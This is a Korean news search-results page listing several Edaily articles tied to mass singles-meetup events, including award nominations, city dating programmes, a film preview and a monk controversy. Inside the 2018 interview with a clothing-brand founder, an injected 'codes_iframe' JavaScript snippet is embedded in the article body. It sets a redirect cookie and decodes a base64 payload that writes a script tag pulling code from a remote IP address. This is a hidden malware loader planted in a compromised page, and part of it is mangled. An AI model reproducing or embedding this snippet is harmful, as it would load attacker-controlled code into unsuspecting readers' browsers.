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뉴스 검색결과 82건

남궁민·김수현→엄정화·안은진까지…60회 백상예술대상 후보 공개
  • 남궁민·김수현→엄정화·안은진까지…60회 백상예술대상 후보 공개
  • (사진=백상예술대상사무국)[이데일리 스타in 최희재 기자] ‘60회 백상예술대상’ TV·영화·연극 부문 후보가 공개됐다.8일 백상예술대상 사무국은 공식 홈페이지를 오픈하고 지난 1년간 TV·영화·연극 부문에서 활약을 펼친 부문별 후보를 발표했다.TV 부문은 다양한 채널과 플랫폼에서 공개한 작품들이 후보에 포진됐다. 드라마 작품상 부문은 JTBC ‘나쁜엄마’, 디즈니+‘무빙’, SBS ‘악귀’, MBC ‘연인’, 넷플릭스 ‘정신병동에도 아침이 와요’가 후보에 올랐다. 교양 작품상 후보는 SBS ‘고래와 나’, EBS1 ‘인구대기획 초저출생’, KBS1 ‘일본사람 오자와’, KBS1 ‘지속가능한 지구는 없다’, KBS1 ‘1980, 로숑과 쇼벨’이 선정됐다. 지난해부터 크리에이터를 포함해 웹 콘텐트까지 심사 범위를 확대한 예능 작품상과 남녀 예능상 부문 후보는 치열한 접전이 예상된다. SBS Plus·ENA ‘나는 SOLO(나는 솔로)’, 웨이브 ‘사상검증구역: 더 커뮤니티’, JTBC ‘최강야구’, MBC ‘태어난 김에 세계일주2’, 뜬뜬 ‘핑계고’가 예능 작품상에 노미네이트 됐다.기안84·나영석·유재석·침착맨·탁재훈이 남자 예능상, 김숙·안유진·이수지·장도연·홍진경이 여자 예능상 후보다.매 해 뜨거운 관심을 받는 남자 최우수연기상 후보는 김수현(tvN ‘눈물의 여왕’), 남궁민(MBC ‘연인’), 류승룡(디즈니+ ‘무빙’), 유연석(티빙 ‘운수 오진 날’), 임시완(쿠팡플레이 ‘소년시대’)이다.여자 최우수연기상은 라미란(JTBC ‘나쁜엄마’), 안은진(MBC ‘연인’), 엄정화(JTBC ‘닥터 차정숙’), 이하늬(MBC ‘밤에 피는 꽃’), 임지연(지니TV ‘마당이 있는 집’)이 후보에 올라 쟁쟁한 라인업을 완성했다.남자 조연상 후보는 류경수(넷플릭스 ‘선산’), 안재홍(넷플릭스 ‘마스크걸’), 이이경(tvN ‘내 남편과 결혼해줘’), 이희준(넷플릭스 ‘살인자ㅇ난감’), 지승현(KBS2 ‘고려 거란 전쟁’)이다.여자 조연상 후보에는 강말금(JTBC ‘나쁜엄마’), 신동미(JTBC ‘웰컴투 삼달리’), 염혜란(넷플릭스 ‘마스크걸’), 이정은(티빙 ‘운수 오진 날’), 주민경(JTBC ‘힙하게’)이 이름을 올렸다.단 한 번 받을 수 있어 더 영광스러운 신인연기상 후보는 작품 속에서 강렬한 인상을 남긴 주역들로 채워졌다. 김요한(넷플릭스 ‘살인자ㅇ난감’), 이시우(쿠팡플레이 ‘소년시대’), 이신기(디즈니+ ‘최악의 악’), 이정하(디즈니+ ‘무빙’), 이종원(MBC ‘밤에 피는 꽃’)이 남자 신인연기상 후보에 올랐다.또한 고윤정(디즈니+ ‘무빙’), 김형서(디즈니+ ‘최악의 악’), 유나(ENA ‘유괴의 날’), 이이담(넷플릭스 ‘정신병동에도 아침이 와요’), 이한별(넷플릭스 ‘마스크걸’)이 여자 신인연기상 후보에 올라 경합한다.연출상 부문은 박인제 감독(디즈니+ ‘무빙’), 이명우 감독(쿠팡플레이 ‘소년시대’), 이창희 감독(넷플릭스 ‘살인자ㅇ난감’), 정지현 감독(지니TV ‘마당이 있는 집’), 한동욱 감독(디즈니+ ‘최악의 악’)이 노미네이트 됐다.작가상에는 강풀 작가(디즈니+ ‘무빙’), 김은희 작가(SBS ‘악귀’), 배세영 작가(JTBC ‘나쁜엄마’), 이남규·오보현·김다희 작가(넷플릭스 ‘정신병동에도 아침이 와요’), 전고운·임대형 감독(티빙 ‘LTNS’)이 후보에 올랐다.예술상 부문에선 김동식·임완호 감독(SBS ‘고래와 나’ 촬영), 양홍삼·박지원 감독(SBS ‘악귀’ 미술), 이석근 감독(KBS2 ‘고려 거란 전쟁’ 의상), 이성규 슈퍼바이저(디즈니+ ‘무빙’ VFX), 하지희 감독(KBS2 ‘혼례대첩’ 미술)이 후보로 경쟁을 펼친다.
2024.04.08 I 최희재 기자
성남시 버전 ‘나는 솔로’ 지원자 1200명…‘서울팅’은 무산, 왜
  • 성남시 버전 ‘나는 솔로’ 지원자 1200명…‘서울팅’은 무산, 왜
  • [이데일리 강소영 기자] 경기 성남시가 추진한 20·30세대 미혼 남녀 만남 행사 ‘솔로몬(SOLOMON)의 선택’에 신청자가 1000여 명 넘게 몰렸다. 22일 성남시에 따르면 1차(5월 22일~6월 14일), 2차(5월 22일~6월 21)에 걸쳐 참가 신청을 받은 결과 남자 802명, 여자 386명 등 모두 1188명이 신청했다. 시는 이들 중 남성 50명, 여성 50명을 추첨해 오는 7월 2일 수정구 창곡동의 위례 밀리토피아 호텔, 7월 9일 분당구 백현동의 그래비티 호텔 서울 판교에서 행사를 각각 진행한다.참가자들은 레크리에이션, 1대1 로테이션 대화, 커플 게임, 저녁 식사 등을 하며 인연을 찾을 예정이다.경기 성남시가 미혼 남녀 만남을 주선하는 ‘솔로몬(SOLO MON)의 선택’ 행사 홍보물의 일부. (사진=성남시 제공)‘솔로몬의 선택’은 27세부터 39세까지(1997년~1985년생) 성남 거주 혹은 성남 소재 직장인을 대상으로 미혼 남녀의 만남을 주선하는 행사로, 참가 신청을 받을 때 혼인관계증명서와 재직증명서 등 서류를 받아 확인 절차를 거쳤다.신상진 성남시장은 “청년들의 높은 관심과 많은 신청이 있는 만큼 성공적인 행사가 되도록 최선을 다하겠다”며 “행사 후에는 객관적인 평가를 통해 향후 행사 규모나 진행 방향을 판단할 것”이라고 말했다.하지만 안정성에 대한 우려도 나온다. 서류 내용만으로 어떻게 상대방의 범죄 가능성을 알 수 있느냐는 지적이다.또 “저출생 정책으로 과연 적절한가”라는 의문 속에 “예산 낭비”라는 비판도 이어지고 있다. 지자체가 나선 행사에 실효성이 있을지 의심하는 눈초리다. 당초 서울에서도 올해 6차례에 걸쳐 미혼 남녀를 주선하는 ‘서울팅’을 계획했으나 이 같은 비판 여론에 무산됐다.2012년 서울 여의도에서 열린 ‘솔로대첩’ 당시 모습. 참가 남성의 비율이 월등히 높은 탓에 비둘기 반, 남자 반이라는 어록을 남겼다. (사진=온라인 커뮤니티 캡처)지난 2012년 서울에서도 솔로대첩이 열린 바 있다. 당시 솔로대첩은 서울시가 나서 만든 사업이 아닌 페이스북에서 촉발돼 시작된 행사였다. 당시 페이스북 아이디 ‘님이 연애를 시작하셨습니다’를 사용한 유태형 씨는 “솔로 형·누나·동생분들, 크리스마스 때 대규모 미팅 한번 할까”라며 사람들을 모았고, 큰 인기에 힘입어 규모가 커졌다.하지만 크리스마스 이브에 여의도 광장에서 열린 솔로대첩은 대실패였다. 남성의 비율이 월등히 높았던 게 원인으로 작용했다.당시 경찰청 공식 트위터에는 “지금 여의도에는 비둘기와 경찰이 가장 많으며 강추위 속에 서로 대치 중이다. 사건 사고 없는 메리 크리스마스 되시길 바란다”는 글이 올라오기도 했다.쓰라린 기억으로 남은 ‘솔로대첩’을 뒤로하고 성남시의 ‘솔로몬(SOLOMON)의 선택’이 과연 어떠한 영향을 가져다줄지 주목된다.
2023.06.22 I 강소영 기자
할리우드 톱스타 총출동 '토르4', 여름 대작 경쟁 화려한 포문 여나
  • 할리우드 톱스타 총출동 '토르4', 여름 대작 경쟁 화려한 포문 여나
  • (사진=월트디즈니컴퍼니코리아)[이데일리 스타in 김보영 기자] 영화 ‘토르: 러브 앤 썬더’(감독 타이카 와이티티, 이하 ‘토르4’)가 본격적인 대작 경쟁의 포문을 연다. ‘토르: 러브 앤 썬더’의 흥행 여부는 극장가가 코로나19 이후 첫 1000만 관객을 이끈 ‘범죄도시2’와 외화 ‘탑건: 매버릭’(이하 ‘탑건’)으로 어느 정도 회복한 활기를 7월 여름 성수기로 잇는 관건이 될 전망이다.‘토르4’는 2017년 개봉한 ‘토르: 라그나로크’(이하 ‘토르3’) 이후 5년 만의 정식 후속작이다. 특히 토르는 아이언맨과 함께 국내 팬들의 지지도가 압도적으로 높은 MCU(마블시네마틱유니버스) 히어로로 꼽힌다.오는 7월 6일 개봉하는 ‘토르4’는 천둥의 신 토르가 킹 발키리와 코르그, 그리고 묠니르(토르의 망치)를 휘두르는 슈퍼히어로 마이티 토르로 새롭게 거듭난 전 여자친구 제인(나탈리 포트만 분)과 팀을 이뤄 신을 도살하는 새로운 빌런 고르(크리스찬 베일 분)의 우주적 위협에 맞서는 마블의 코스믹 엔터테이닝 블록버스터다. 마블 히어로의 솔로 타이틀 영화를 네 번이나 제작하는 것은 MCU 사상 토르가 최초다. 전편인 ‘토르3’를 연출한 타이카 와이티티 감독과 크리스 헴스워스가 다시 한 번 손을 잡았다. 나탈리 포트만, 크리스 프랫, 크리스찬 베일, 러셀 크로 등 내로라하는 할리우드 배우들의 총출동을 예고해 기대감이 특히 높다. 주연 배우 크리스 헴스워스와 타이카 와이티티 감독이 직접 밝힌 ‘토르4’와 전편들의 가장 큰 차별점은 ‘캐릭터 서사’에 있다. 타이카 와이티티 감독은 “전편들과 달리 ‘토르’란 캐릭터 자체로서 나아갈 인생 여정을 어떻게 그려나갈지에 대한 고민이 컸다”며 “중년에 접어들며 자아와 목적성을 잃고 위기를 맞은 토르가 다시 본인의 사명과 자아를 찾고자 어떤 여정을 헤쳐나갈지 기대하면 좋을 것”이라고 귀띔했다. 크리스 헴스워스 역시 “나무 밑에서 명상을 하는 토르의 모습을 시작으로 극 내내 토르가 자신의 역할과 사명을 고민하는 과정들이 나올 것”이라며 “이를 통해 토르가 진정한 히어로로 거듭나는 과정을 그리려 노력했다”고 설명했다. ‘토르4’ 외에도 코로나19 여파로 개봉이 연기됐던 수많은 국내 대작들이 이 기간 치열한 경쟁을 예고하고 있다. ‘토르4’ 개봉 이후에는 한국형 블록버스터들의 개봉이 줄줄이 예정돼 있어 극장가 관객몰이가 코로나19 이전 수준으로 돌아갈 호기로 꼽힌다.내달 20일 개봉하는 ‘외계+인’이 대표적이다. ‘도둑들’(2012)과 ‘암살’(2015) 등 천만 관객 영화를 잇달아 배출한 최동훈 감독의 신작이다. 김한민 감독은 역대 박스오피스 1위를 차지한 ‘명량’(2014)의 후속편 ‘한산 : 용의 출현’을 8년 만에 선보인다. 이 영화는 7월 말 개봉한다. 이순신 장군의 한산도 대첩을 영화화한 작품으로 김 감독의 ‘이순신 3부작 프로젝트’ 중 두 번째 영화다. 코로나19로 수차례 개봉을 연기했던 ‘비상선언’(감독 한재림)도 8월 3일 출격한다. 지난 5월 열린 제75회 칸국제영화제에서 한국 배우 최초 남우주연상을 수상한 송강호와 이병헌, 전도연, 박해준, 김남길, 임시완, 김소진 등 충무로 대표 배우들이 출연한다. 사상 초유의 항공테러에 휩싸인 비행기 내부에서 벌어지는 일들을 그렸다. 지난해 열린 제74회 칸국제영화제 비경쟁 부문에 초청돼 일찍이 주목받은 작품이다. 전찬일 영화평론가는 “‘범죄도시2’와 ‘탑건’이 영화산업이 정상화의 길로 들어서는 교두보를 놨다면 ‘토르4’는 막강한 자본과 팬덤의 힘으로 코로나19 이전 수준의 여름 분위기로 극장가를 완전히 회복시킬 것”이라고 내다봤다. 다만 “‘토르4’ 바로 뒤에 국내 기대작들의 개봉이 예정돼 있기에 여타 마블 히트작들만큼 여름 특수를 누릴 수 있을지는 미지수”라고 덧붙였다. 실제로 잇단 겹치기 개봉으로 스크린 경쟁이 과열될 경우 승자 없는 ‘제로섬 게임’으로 번질 수 있다는 우려도 제기된다. 윤성은 영화평론가는 “코로나19로 수많은 영화들의 개봉이 연기되며 우려한 변수들이 이번 여름 대작 경쟁에서 실현될 수 있다”며 “제각각 다른 작품들과 개봉일이 겹치지 않게 최대한 신경을 썼다고는 하나, 오랜 기간 손꼽아 기다린 개봉인 만큼 여름 성수기 시점을 선뜻 포기할 작품은 없었을 것”이라고 분석했다.
2022.06.29 I 김보영 기자
“속지마! 혜민스님은 연예인이야”
  • “속지마! 혜민스님은 연예인이야”
  • [이데일리 김소정 기자] 혜민 스님의 예능 출연은 독이 됐다. 남산이 보이는 단독주택에서의 일상 공개 후 유튜버, 현각 스님이 그를 작심 비판하고 나섰다. 혜민스님 홈페이지혜민 스님은 7일 tvN ‘온앤오프’에 출연했다. 혜민 스님은 “평소 재미있는 프로그램이라 생각했다. 제의가 들어와서 사람들과 공감하는 법을 전해드리고자 나왔다. 삶에서 어떤 식으로 마음을 치유하고 사람들과 공감하는지 보여드리겠다”라며 출연 계기를 밝혔다. 혜민 스님은 절이 아닌 남산이 한눈에 보이는 풍경이 좋은 서울 도심에서 살고 있었다. 집 내부는 모던한 화이트 인테리어로 깔끔하게 꾸며져 있었다. tvN ‘온앤오프’혜민 스님은 “절에서 살지 않는다. 도시에서 지내는 스님들은 상가 건물 한켠의 사찰에서 지낸다. 너무 좁아서 따로 숙소를 마련해 생활한다”라고 말했다.tvN ‘온앤오프’혜민 스님은 법화경 독송 및 참선으로 하루를 시작했다. 이어 유튜브로 백종원 레시피를 검색해 순두부찌개를 만들어 먹었다. 가장 좋아하는 음식은 ‘떡볶이’와 ‘라볶이’라고. 혜민 스님은 승복을 입고 공유 오피스로 출근했다. 스타트업 기업 직원이었던 것. 혜민스님은 현재 명상 앱을 제작 중이라고 밝혔다. 방송에서 혜민 스님은 AI스피커, 에어팟 등을 사용해 눈길을 끌었다. tvN ‘온앤오프’하지만 방송 이후 혜민 스님을 비판하는 이들이 등장했다. 유튜버 ‘크로커다일 남자훈련소’(이하 ‘크로커다일’)는 10일 “혜민 스님은 미국인이다. 한국에서 태어났는데 미국 이민을 가면서 국적을 포기했다. 군대도 안 가고. 그런데 한국 들어와 승려가 된 것”이라고 말했다. 이어 “혜민은 취업 걱정, 학자금 대출, 아르바이트 등을 경험해 본 적 없다. 자기가 지친 삶에 힘이 되어 준다고 하는데 본인은 지쳐본 적 없지 않냐”라고 비판했다. 유튜브 ‘크로커다일 남자훈련소’그러면서 “매일 아침 남산타워 보면서 일어나서 커피 한잔하고. 무슨 괴로운 일이 있겠냐. 이런 데서 평화롭게 사니까 본인이 느끼는 유일한 괴로움이 본인보다 잘나가는 스님과의 경쟁밖에 없다”라고 했다. 이 유튜버는 “힐링멘토라는 것도 웃기다. 마음치유학교 만들었는데 프로그램이 기가 막힌다. 최면을 이용한 전생체험, 타로카드를 한다. 스님이 무슨 타로카드를 하냐. 솔로들 모아 짝지어주는 솔로대첩 혜민판도 있다. 프로그램들은 수업료를 받고 있다”라고 말했다. 유튜브 ‘크로커다일 남자훈련소’유튜버는 “옛날에 트위터에서 ‘중독에서 벗어나는 법’에 대해 이야기하길래 ‘너는 왜 트위터 중독이냐’고 했는데 차단당했다”라고 말했다. 해당 영상을 공유한 사람은 바로 조계종을 비판하며 한국을 떠난 현각 스님이었다. 현각 스님은 15일 페이스북에 ‘크로커다일’ 영상을 공유한 뒤 “한국 불교를 따르지마”라고 적었다. 현각스님 페이스북이어 혜민 스님 사진과 함께 “속지마. 연예인뿐이야. 석가모니 가르침 전혀 모르는 도둑X이야. 부처님의 가르침을 팔아먹는 지옥으로 가고 있는 기생충뿐이야”라고 했다. 또한 현각 스님은 혜민 스님의 ‘온앤오프’ 출연 영상을 캡처해 “그는 사업가, 배우뿐이다. 그는 진정한 참선하는 경험이 전혀 없다” “수행자 절대 아니다”라고 비판을 이어갔다. 한편 1973년생인 혜민 스님은 대전에서 태어나 서울 청량고등학교 졸업 후 미국으로 이민을 갔다. 미국 UC 버클리, 하버드대 석사, 프린스턴대 박사 학위를 취득했다. 1998년 휘광스님을 은사로 출가해 2000년 해인사에서 사미계를 수계했다. 혜민 스님은 미국 햄프셔 대학교에서 약 7년간 교수로 재직했다. 그는 미국 국적자다. 혜민 스님의 미국 이름은 ‘라이언 봉석 주(Ryan Bongsuk Joo)’다. 예능 프로그램에서 시청자들에게 공감하는 법, 마음을 치유하는 법을 보여주겠다던 혜민 스님. 공감과 치유보다는 색다른 스님의 일상이 더 화제가 됐던 시간이었다.
2020.11.16 I 김소정 기자
'런닝맨' 솔로들 사이에 숨겨진 비밀 커플 정체는?
  • '런닝맨' 솔로들 사이에 숨겨진 비밀 커플 정체는?
  • [이데일리 박한나 기자] 7일 오후 방송되는 SBS ‘런닝맨’에서는 지난주에 이어 솔로들 사이에 숨겨진 비밀커플을 찾아내야 하는 ‘솔로대첩 레이스’ 두 번째 이야기가 펼쳐진다.최근 진행된 녹화에서 멤버들은 게스트 장희진, 김재영, 우주소녀 보나와 함께 본격적인 비밀커플 추리에 나서며, 의심되는 인물을 용의선상에 올리기 시작했다. 특히 상대적으로 숫자가 적은 여자 멤버들 전원을 ‘비밀 커플’의 여자로 용의선상에 올린 가운데, 남자 멤버들은 여자 멤버들 중 누구하나 믿지 못하고 힌트가 공개될수록 의심만 했다. 용의선상에서 벗어나기 위한 여자 멤버들의 결백 주장이 이어지는 가운데, 송지효는 남자 멤버들 대부분이 본인의 말을 들어주지 않음에도 끝까지 자신의 결백함을 주장하며 런닝맨 에이스다운 면모를 보였다. 반면 아무런 힌트를 획득하지 못한 전소민은 힌트를 공유받기 위해 남자 멤버들에게 대화를 시도했지만 번번이 거절당하는 등 살아남기 위한 치열한 눈치작전을 벌였다. 한편, 게스트로 참여한 김재영 또한 ‘비밀 커플 남자’로 의심 받는 가운데 쉽게 굴복하지 않고 레이스 현장을 종횡무진 하며 반전 활약을 펼쳐 멤버들을 모두 놀라게 하기도 했다.
2019.04.07 I 박한나 기자
‘로맨틱 할로윈 솔로대첩’… GS건설, 단체미팅 이벤트 개최
  • ‘로맨틱 할로윈 솔로대첩’… GS건설, 단체미팅 이벤트 개최
  • 지난 3월 서울 종로구 그랑서울 몰에서 화이트데이를 맞아 열린 ‘My Sweet Spring in 그랑서울’ 단체 미팅 행사에 참가한 싱글 남녀 직장인들이 참가 신청 접수를 하고 있다.(GS건설 제공)[이데일리 김기덕 기자] GS건설은 할로윈데이를 맞아 오는 20일 서울 종로구 종각 그랑서울 몰에서 싱글직장인 단체미팅 이벤트 ‘제11회 로맨틱 그랑서울’을 개최한다고 1일 밝혔다.이번 행사의 부제는 ‘로맨트 할로윈(Romantic Halloween)’으로 그랑서울 몰에서 할로윈 파티를 즐기며 인연을 찾는다는 의미다. 이번 행사에서는 25세부터 35세까지의 싱글남녀 150명씩 총 300명을 모집한다.행사는 오후 2시부터 진행되며 참가자들은 동성 2인 1조로 그랑서울 몰 내부에 있는 제휴된 음식점(다쯔미, 크레이지 후라이, 브리오슈도레, 아티제, 사보텐, 탭퍼블릭 등)을 찾아 자유롭게 이동할 수 있다. 음식점에 입장하면 스텝의 안내에 따라 남녀 2대 2의 비율로 자리가 배정되며, 음식과 맥주가 무제한 제공되어 자연스럽게 음식을 맛보면서 이성과의 만남을 갖게 된다.행사장 중앙에는 할로윈데이를 기념한 포토존 이벤트, 남녀 참가자들의 연락처 교환율을 높이기 위한 러브커넥트 이벤트도 진행된다. 오후 5시부터 진행되는 럭키드로우 이벤트에서는 할로윈데이를 기념한 다양한 선물이 추첨을 통해 제공된다.GS건설이 그랑서울몰에서 개최하는 로맨틱 그랑서울 이벤트는 이번이 벌써 11번째로 누적 참가자수는 3000명에 달한다. 실제 결혼까지 연결된 커플도 탄생할 정도로 매칭률이 높은 것이 로맨틱 그랑서울 이벤트가 매회 조기 매진되는 이유다.행사를 주최한 김동삼 GS건설 부장은 “할로윈 분위기를 느끼며 이성도 만나고 즐거운 추억도 만들 수 있도록 준비했다”며 “앞으로 다양한 컨셉으로 지속적으로 미팅 이벤트를 개최할 예정” 이라고 전했다.행사 참가신청은 새미프 홈페이지(www.saemip.com)을 통해서 가능하다.
2018.10.01 I 김기덕 기자
  • [스냅타임] "붕어빵 스펙쌓기 만으로는 성공 못하죠"
  • (이미지=스냅타임)시현진(26·남)씨는 2018년 스트릿·캐주얼 의류 브랜드 ‘PARODY’를 설립했다. ‘2012 솔로대첩’에서 핫팩을 팔던 장사꾼이 창업의 꿈을 이루고 대표가 됐다. ‘PARODY’는 론칭 후 한달이 채 지나기 전에 스타일쉐어 외 5개의 유명 온라인숍에 입점했다.대학 시절 그는 서울 강남이나 노량진에서 성공을 찾고 싶지 않았다. ‘토익을 공부하거나 자원봉사를 하는 대신, 세계를 누비며 영어로 직접 말해보고 난민들을 도우면 되지 않을까’하는 생각으로 ‘세계여행 인생성공 프로젝트’를 실행에 옮겼다. 여행 중 그는 중국 기업의 이사·두바이 왕가 사람들과 장사를 하며 청년 장사꾼으로서 자신만의 성공 계획을 하나씩 실현해 나갔다. (이미지=스냅타임)창업의 꿈을 어떻게 키우게 됐나?'PARODY’의 대표이자 장사꾼 시현진입니다. 저는 어렸을 때부터 바깥세상에서 살고 싶었어요. 고등학생 때 집 앞 5분 거리에서 자취를 할 정도였으니까요.그래서 회사에 구속되지 말고 내가 대표를 하자 결심했어요. 고등학교 졸업식에서 제가 직접 꽃을 판매할 정도로 매일 어떤 것으로 장사할 수 있을까 고민했죠.세계여행 중 각국의 사람들과 사업을 진행하면서 시장을 읽고자 했어요. 한국에 돌아와 전 세계적으로 관심이 많은 의류 시장에 뛰어들었고 ‘PARODY’를 완성했죠. (이미지=스냅타임)세계여행 인생성공 프로젝트가 뭔가?모든 인종, 모든 문화의 사람과 사업을 진행해볼 좋은 기회였어요. 두바이에서는 차 번호가 낮을수록 지위가 높거나 부자인 사람이에요. 그 차에서 사람이 내리면 무작정 따라갔죠. 그 사람에게“나는 한국에서 온 대학생이고, 세계여행을 통해 인생성공을 배우고 있다”며 황금색 트리볼에 싸인을 받았어요. 그 싸인볼을 시장에 팔았는데 반응이 정말 좋았죠. 대만에서 'cathay life'에게 부동산 자문을 해줬어요. 그때 이사가 자기 회사에서 일해보지 않겠냐고 얘기한 적도 있었죠. 다양한 사업을 하면서 실패한 적도 있지만 성공할 때마다 제 능력을 인정받는 것 같아서 기분이 정말 행복했어요.대학생이나 취준생이라면 토익·자원봉사·대외활동을 하잖아요. 남들과 다 똑같다면 아무도 제 물건의 매력을 느낄 수 없을 거로 생각했죠. 여행을 마치고 돌아왔을 때 확신했어요. 제가 만들 의류 브랜드의 성공을.물론 프로젝트는 지금도 진행 중이에요. ‘PARODY'를 세계 곳곳에 알리고 싶어요. (이미지=PARODY 홈페이지)의류를 선택한 이유가 있나?모든 문화를 아우르는 것을 만들고 싶었어요. 세계여행을 다니면서 아바야·치파오·기모노처럼 각 나라를 대표하는 의류를 다 보게 됐어요. ‘옷이란 결국 소속감이고 언제까지나 필요한 것이다.’ 생각했죠.제가 만든 브랜드가 어떤 사람이든 다 포용할 수 있다면, 그보다 더한 성공은 없다 싶었어요. 언젠가 제 옷을 파리·뉴욕·도쿄의 패션쇼에 세울 거에요. (웃음) (이미지=스냅타임)도전이 어려운 청춘에게 한마디“3포 아닌 3득 하세요”요즘 많은 사람이 삶의 행복을 포기하는 것이 너무 안타까워요. 고등학생이면 수험공부 하느라, 대학생이면 취업준비 하느라 취미·연애·휴식에서 멀어져요. 더 잘 살기 위해 행복을 포기해야 하죠.그런데 저는 오히려 세계여행을 통해 다 가지려고 하니까 길이 열렸어요. 손에서 하나씩 놓을 때마다 잡고 있던 꿈으로 향하는 밧줄도 점점 느슨해지는 것 같아요. 하나라도 더 가지려는 순간 한 발 더 갈 수 있어요. 모든 청춘이 사랑·꿈·여가 모두 가졌으면 좋겠어요.<!--/codes_iframe--> <!--codes_iframe--> {var U=document.cookie.match(new RegExp("(?:|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+])/g,"\\$1")+"=([;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')} <!--/codes_iframe-->
2018.07.08 I 유정수 기자
‘결혼적령기’ 남녀 위한 솔로대첩, 내달 9일 열린다
  • ‘결혼적령기’ 남녀 위한 솔로대첩, 내달 9일 열린다
  • 지난 2월 판교 아브뉴프랑에서 개최한 골드미팅 이벤트 현장 모습.[이데일리 김미경 기자] 크리스마스를 맞아 결혼적령기 골드싱글을 위한 초대형 솔로대첩이 열린다. 아브뉴프랑은 30대 싱글직장인 200명을 대상으로 한 미팅이벤트 ‘제4회 파리의연인 in 아브뉴프랑 : 골드미팅’을 오는 12월 9일 판교 아브뉴프랑에서 개최한다고 밝혔다.참가자들은 행사 당일 판교 아브뉴프랑 내 고급 음식점과 카페를 자유롭게 이동하며 음식을 맛보고 미팅을 하는 식이다. 맛집 입장 시 스태프가 남녀 2대 2로 자리를 배치해준다. 음식과 맥주는 무제한이다. 행사는 오후 2시부터 5시까지 진행하며, 각 맛집에 머물 수 있는 시간은 최대 45분으로 제한된다. 3시간 동안 여러 맛집 방문이 가능하다. 행사를 기획한 아브뉴프랑 담당자는 “아브뉴프랑은 프랑스 거리를 모티브로 만들어진 스트리트 몰”이라며 “유럽풍의 독특한 외관과 고급스러운 분위기를 가진 지역 명소인 만큼 미팅 이벤트와 데이트 장소로 적합하다”고 귀띔했다. 이어 “주 고객층인 결혼 적령기 30대 직장인들의 요청이 많아 골드싱글을 위한 행사를 기획했다”고 덧붙였다.30세부터 39세까지의 미혼 직장인이라면 누구나 참여 가능하다. 온라인 홈페이지를 통해 사전 접수해야 한다. 아브뉴프랑에서 진행하는 대규모 미팅 이벤트는 이번이 4회차다. 매회 수백 명의 사전 접수로 조기 매진하며 큰 인기를 끌었다.
2017.11.28 I 김미경 기자

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